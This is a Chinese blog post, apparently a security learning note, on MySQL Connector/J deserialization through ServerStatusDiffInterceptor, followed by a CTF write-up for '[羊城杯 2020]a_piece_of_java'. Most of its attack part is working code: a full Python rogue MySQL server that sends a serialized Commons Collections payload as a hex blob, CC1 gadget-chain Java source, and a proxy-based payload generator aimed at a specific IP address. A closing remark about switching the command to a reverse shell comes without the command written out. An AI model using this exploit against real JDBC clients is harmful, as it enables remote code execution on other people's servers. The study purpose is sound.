follycatのblog
mysql JDBC学习
follycat Lv3
  2025-03-22 13:24:55   2025-05-22 23:00:58    2.1k Words  10 Mins  

什么是JDBC

JDBC（Java Database Connectivity）是一个 Java API，用于连接和操作数据库。它提供了一套标准接口，使得 Java 程序可以通过 SQL（结构化查询语言）与不同类型的数据库进行交互，而不依赖于特定数据库厂商的实现。

经典的流程为

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Class.forName("com.mysql.cj.jdbc.Driver"); //加载数据库驱动

Connection conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/database_name", "username", "password"); //建立数据库连接

Statement stmt = conn.createStatement();  //创建sql语句对象

ResultSet rs = stmt.executeQuery("SELECT * FROM table_name"); //执行sql语句

while (rs.next()) {
    System.out.println(rs.getString("column_name"));
}  //处理查询结果

//关闭资源
rs.close();
stmt.close();
conn.close();

漏洞分析

首先，这个漏洞点位于com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor这个·拦截器中·的getObject方法。

这个拦截器会在URL中指定属性queryInterceptors为ServerStatusDiffInterceptor时 进行调用，并且调用拦截器的preProcess和postProcess方法，从而调用getObject方法。

先找到preProcess方法并继续跟进到populateMapWithSessionStatusValues方法。

主要为populateMapWithSessionStatusValues方法中的resultSetToMap方法，继续跟进可以看到调用了getObject方法

这里调用的getObject方法位于com.mysql.cj.jdbc.result.ResultSetImpl.class中

可以发现在这里调用了readObject，其实往上看objIn参数是由columnsIndex一步步转化过来的。

所以如果我们可以控制连接的url，让他与我们构造的恶意mysql服务器连接，并且让恶意mysql服务器在收到show session status后向客户端发送可行的payload，就可以使payload进行反序列化，从而触发命令执行

漏洞复现

python的恶意mysql服务端，payload为cc1到cc11都行，因为我项目这些环境都有，这里选的是cc1，这里的file文件是使用cc1链子序列化成的ser.bin

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# coding=utf-8
import socket
import binascii
import os

greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"
response_ok_data="0700000200000002000000"

def receive_data(conn):
    data = conn.recv(1024)
    print("[*] Receiveing the package : {}".format(data))
    return str(data).lower()

def send_data(conn,data):
    print("[*] Sending the package : {}".format(data))
    conn.send(binascii.a2b_hex(data))

def get_payload_content():
    #file文件
    file= r'ser.bin'
    if os.path.isfile(file):
        with open(file, 'rb') as f:
            payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8')
        print("open successs")

    else:
        print("open false")
        #calc
        payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878'
    return payload_content

# 主要逻辑
def run():

    while 1:
        conn, addr = sk.accept()
        print("Connection come from {}:{}".format(addr[0],addr[1]))

        # 1.先发送第一个 问候报文
        send_data(conn,greeting_data)

        while True:
            # 登录认证过程模拟  1.客户端发送request login报文 2.服务端响应response_ok
            receive_data(conn)
            send_data(conn,response_ok_data)

            #其他过程
            data=receive_data(conn)
            #查询一些配置信息,其中会发送自己的 版本号
            if "session.auto_increment_increment" in data:
                _payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000'
                send_data(conn,_payload)
                data=receive_data(conn)
            elif "show warnings" in data:
                _payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'
                send_data(conn, _payload)
                data = receive_data(conn)
            if "set names" in data:
                send_data(conn, response_ok_data)
                data = receive_data(conn)
            if "set character_set_results" in data:
                send_data(conn, response_ok_data)
                data = receive_data(conn)
            if "show session status" in data:
                mysql_data = '0100000102'
                mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'
                mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'
                # 为什么我加了EOF Packet 就无法正常运行呢？？
                # 获取payload
                payload_content=get_payload_content()
                # 计算payload长度
                payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4)
                payload_length_hex = payload_length[2:4] + payload_length[0:2]
                # 计算数据包长度
                data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6)
                data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]
                mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex
                mysql_data += str(payload_content)
                mysql_data += '07000005fe000022000100'
                send_data(conn, mysql_data)
                data = receive_data(conn)
            if "show warnings" in data:
                payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'
                send_data(conn, payload)
            break


if __name__ == '__main__':
    HOST ='0.0.0.0'
    PORT = 3307

    sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    #当socket关闭后，本地端用于该socket的端口号立刻就可以被重用.为了实验的时候不用等待很长时间
    sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sk.bind((HOST, PORT))
    sk.listen(1)

    print("start fake mysql server listening on {}:{}".format(HOST,PORT))

    run()

cc1链子

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package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import org.omg.CORBA.portable.InvokeHandler;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class CC1 {
    public static void main(String[] args) throws InvocationTargetException, InstantiationException, IllegalAccessException {
//        try {
//            Runtime.getRuntime().exec("calc");
//        } catch (IOException e) {
//            throw new RuntimeException(e);
//        }
//        Transformer[] transformers = new Transformer[]{
//                new ConstantTransformer(Runtime.class),
//                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
//                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
//                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
//        };

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object,Object> map = new HashMap<>();
        map.put("value","key");

        Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
        try {
            Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class);
            constructor.setAccessible(true);
            Object o = constructor.newInstance(Target.class,transformedMap);

            Serialize(o);
            Unserialize("ser.bin");

        } catch (ClassNotFoundException | NoSuchMethodException | IOException e) {
            throw new RuntimeException(e);
        }


    }

    public static void Serialize(Object obj) throws IOException {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        objectOutputStream.writeObject(obj);

    }

    public static Object Unserialize(String Filename) throws IOException,ClassNotFoundException{

        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = objectInputStream.readObject();
        return obj;

    }
}

同理，如果mysql服务中有其他的链子也可以调用其他的链子，比如cc2，cc3，shiro都可以。

可以看到连接，并且成功弹出计算器。

例题

[羊城杯 2020]a_piece_of_java

首先查看controller找到目标可以反序列化的路由，

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@GetMapping(value={"/hello"})
public String hello(@CookieValue(value="data", required=false) String cookieData, Model model) {
    if (cookieData == null || cookieData.equals("")) {
        return "redirect:/index";
    }
    Info info = (Info)this.deserialize(cookieData);
    if (info != null) {
        model.addAttribute("info", (Object)info.getAllInfo());
    }
    return "hello";
}

这里使用的是deserialize在函数下面有写，是一个反序列化的函数

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private Object deserialize(String base64data) {
    Object obj;
    ByteArrayInputStream bais = new ByteArrayInputStream(Base64.getDecoder().decode(base64data));
    try {
        SerialKiller ois = new SerialKiller((InputStream)bais, "serialkiller.conf");
        obj = ois.readObject();
        ois.close();
    }
    catch (Exception e) {
        e.printStackTrace();
        return null;
    }
    return obj;
}

先看一下serialkiller.conf这个是什么东西。

好像是一个过滤，还是白名单的， 这些正则表达式的作用是允许（即通过白名单）特定的命名空间或类名，例如以 gdufs. 和 java.lang. 开头的类或模块可以被接受，而不受限制。

因为lib里面有commons-collections-3.2.1.jar，所以可以使用cc5或者cc7来进行反序列化执行命令。

然后进入DatabaseInfo类，可以看到url是由各个参数拼接起来的，没有啥过滤，直接先测试一下能不能弹。

因为在checkAllInfo中使用了connect方法，所以测试中就直接调用checkAllInfo方法了。

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package gdufs.challenge.web;

import gdufs.challenge.web.model.DatabaseInfo;

public class cat {
    public static void main(String[] args) {
        DatabaseInfo databaseInfo = new DatabaseInfo();
        databaseInfo.setHost("127.0.0.1");
        databaseInfo.setPort("3307");
        databaseInfo.setUsername("demo");
        databaseInfo.setPassword("demo&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true");

        databaseInfo.checkAllInfo();
    }
}

python服务使用之前的代码，然后直接更改ser.bin为cc5的就可以了。

成功弹出计算器。

然后需要去寻找可以在反序列化时可以调用checkAllInfo的方法了。

只有一个实现方法，就在InfoInvocationHandler的invoke方法中， 这是一个动态代理的实现类，当代理的实例对象在执行任何方法时都会触发invoke方法。而在hello路由中，被反序列化的数据出来之后会触发getAllInfo()方法，并且题目有Info接口，从而实现动态代理。

所以只需要把databaseinfo传给InfoInvocationHandler进行动态代理即可触发jdbc。再进行反序列化和base64处理输出即可。

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package gdufs.challenge.web;

import gdufs.challenge.web.invocation.InfoInvocationHandler;
import gdufs.challenge.web.model.DatabaseInfo;
import gdufs.challenge.web.model.Info;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Proxy;
import java.util.Base64;

public class cat {
    public static void main(String[] args) throws Exception{
        DatabaseInfo databaseInfo = new DatabaseInfo();
        databaseInfo.setHost("120.76.143.184"); //服务器的ip
        databaseInfo.setPort("3307");
        databaseInfo.setUsername("demo");
        databaseInfo.setPassword("demo&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true");

        InfoInvocationHandler infoInvocationHandler = new InfoInvocationHandler(databaseInfo);
        Info proxinfo = (Info) Proxy.newProxyInstance(Info.class.getClassLoader(), new Class[] {Info.class}, infoInvocationHandler);

        ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream=new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(proxinfo);
        objectOutputStream.close();

        String str=new String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray()));
        System.out.println(str);

    }
}

记得改cc5的执行为反弹shell

先去index路由传一个username和password，这样就不需要自己来构造Cookie的格式了。

然后输入序列化数据即可成功反弹shell

mysql JDBC学习
2025/03/22/mysql JDBC/
Author
follycat
Published
2025-03-22 13:24
License
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  1. 什么是JDBC
  2. 漏洞分析
  3. 漏洞复现
  4. 例题
    1. [羊城杯 2020]a_piece_of_java
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  1. 什么是JDBC
  2. 漏洞分析
  3. 漏洞复现
  4. 例题
    1. [羊城杯 2020]a_piece_of_java